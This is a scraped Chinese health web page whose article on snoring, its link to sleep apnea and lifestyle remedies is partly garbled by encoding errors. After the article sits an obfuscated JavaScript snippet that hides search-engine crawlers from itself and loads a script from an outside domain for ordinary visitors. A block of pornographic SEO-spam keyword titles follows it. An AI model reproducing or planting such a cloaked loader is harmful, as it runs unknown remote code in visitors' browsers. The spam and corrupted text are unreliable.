<label id="xjztt"></label>
<rt id="xjztt"></rt>
  • <thead id="xjztt"></thead>
    <label id="xjztt"></label>

      <label id="xjztt"></label>
      <rt id="xjztt"></rt>

      <span id="xjztt"></span>
      當(dāng)前位置:首頁 > 健康 > 常見疾病 > 正文

      怎樣治好打呼嚕的情況呢

      2017-06-18 13:07:28  來源:360常識網(wǎng)   熱度:
      導(dǎo)語:打鼾,是一個非常常見的疾病的了。而且往往病人是因?yàn)楹粑^程中的時(shí)候,產(chǎn)生的癥狀的了。打呼嚕其實(shí)危害很大的了。如果是反反復(fù)復(fù)的打呼嚕

      打鼾,是一個非常常見的疾病的了。而且往往病人是因?yàn)楹粑^程中的時(shí)候,產(chǎn)生的癥狀的了。打呼嚕其實(shí)危害很大的了。如果是反反復(fù)復(fù)的打呼嚕的話,往往比較容易讓病人出現(xiàn)睡眠呼吸反復(fù)暫停的癥狀的了。這時(shí)候打呼嚕的行為往往比較容易造成大腦方面的血液嚴(yán)重缺氧的癥狀。那么到底怎樣治好打呼嚕?

      輕度打鼾會不會有什么危害?很多患者都會說,我的打鼾現(xiàn)象并不是很嚴(yán)重,沒有呼吸暫停這樣的現(xiàn)象,這樣的疾病會不會有危害呢?會不會對人體有什么不好的地方呢?輕度打呼嚕,也就是常常說的單純性打鼾,是指人睡覺時(shí)發(fā)出均勻而規(guī)律的鼾聲,聲音高低一致,—般不伴呼吸暫停。

      輕度打鼾無伴有呼吸暫停的現(xiàn)象,那么危害是不是就沒有了呢?早期人們認(rèn)為,這樣的打鼾是沒有危害的,隨著科學(xué)的不斷發(fā)現(xiàn),其惡性打鼾危害很大,近年來醫(yī)學(xué)研究發(fā)現(xiàn),其輕度打鼾也存在著對人體有害的一方面。 很多時(shí)候,在臨床上發(fā)現(xiàn),即使是晚上無惡性打鼾,無呼吸暫停的現(xiàn)象,那么在白天也精神不佳,仍然出現(xiàn)白天哈欠連天、困倦不適、工作能力下降等癥狀,這些與典型的睡眠呼吸暫停綜合征患者的臨床表現(xiàn)十分相象,所以無論是良性打鼾還是惡性打鼾,對于人體都是一大危害。

      患有打鼾的患者,無論是良性打鼾還是惡性打鼾,都要加以積極的預(yù)防,當(dāng)然,對于良性打鼾而言,更加容易控制,惡性打鼾的患者最好的辦法就是及時(shí)就醫(yī),那么在生活中需要做到以下幾點(diǎn):

      1.睡前不要從事刺激的活動:睡前的活動最好以柔緩的為主,不要讓情緒太過激昂,因?yàn)樯窠?jīng)會無法立刻放松,使得晚上無法安安穩(wěn)穩(wěn)的休息。

      2.睡眠:正確使用枕頭,仰睡或趴著睡比較會讓呼吸道不順暢,側(cè)睡時(shí),松弛的肌肉會傾向一邊,比較不會堵住呼吸道。

      溫馨提醒啊:如果病人是有嚴(yán)重的打呼嚕的問題的時(shí)候,那么其實(shí)需要進(jìn)一步去避免吸煙的行為和飲酒的行為的了。而且其實(shí)不要隨隨便便去吃一些刺激性藥物的了。不然容易出現(xiàn)肌肉更加松弛的問題,比較容易會進(jìn)一步堵住呼吸道。

      轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
      ?
      if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
      主站蜘蛛池模板: 91精品国产色综合久久| 久久久久久综合网天天| 色综合久久天天综合| 狠狠色狠狠色综合系列| 国产成人亚洲综合网站不卡| 狠狠色噜狠狠狠狠色综合久| 国产色综合天天综合网 | 亚洲狠狠婷婷综合久久久久 | 国产综合久久久久久鬼色| 亚洲日本国产综合高清| 国产成+人+综合+欧美亚洲| 99久久国产综合精品五月天喷水| 天天综合网网欲色| 久久久久久久综合日本| 亚州欧州一本综合天堂网| 久久综合亚洲鲁鲁五月天| 久久久久亚洲AV综合波多野结衣| 亚洲另类欧美综合久久图片区| 久久综合国产乱子伦精品免费| 婷婷五月综合丁香在线| 五月综合激情网| 色欲久久久天天天综合网| 色欲久久久天天天综合网| 欧美韩国精品另类综合| 狠狠色婷婷狠狠狠亚洲综合| 久久综合综合久久狠狠狠97色88| 天天综合网网欲色| 色8激情欧美成人久久综合电| 国产精品综合久成人| 婷婷五月六月激情综合色中文字幕 | 涩涩色中文综合亚洲| 欧美αv日韩αv另类综合| 色天使久久综合网天天| 成人综合伊人五月婷久久| 色婷婷综合久久久久中文一区二区 | 久久综合伊人77777| 国产精品国产欧美综合一区| 久久本道久久综合伊人| 久久久久高潮综合影院| 亚洲色偷偷综合亚洲AV伊人| 日韩亚洲国产综合高清|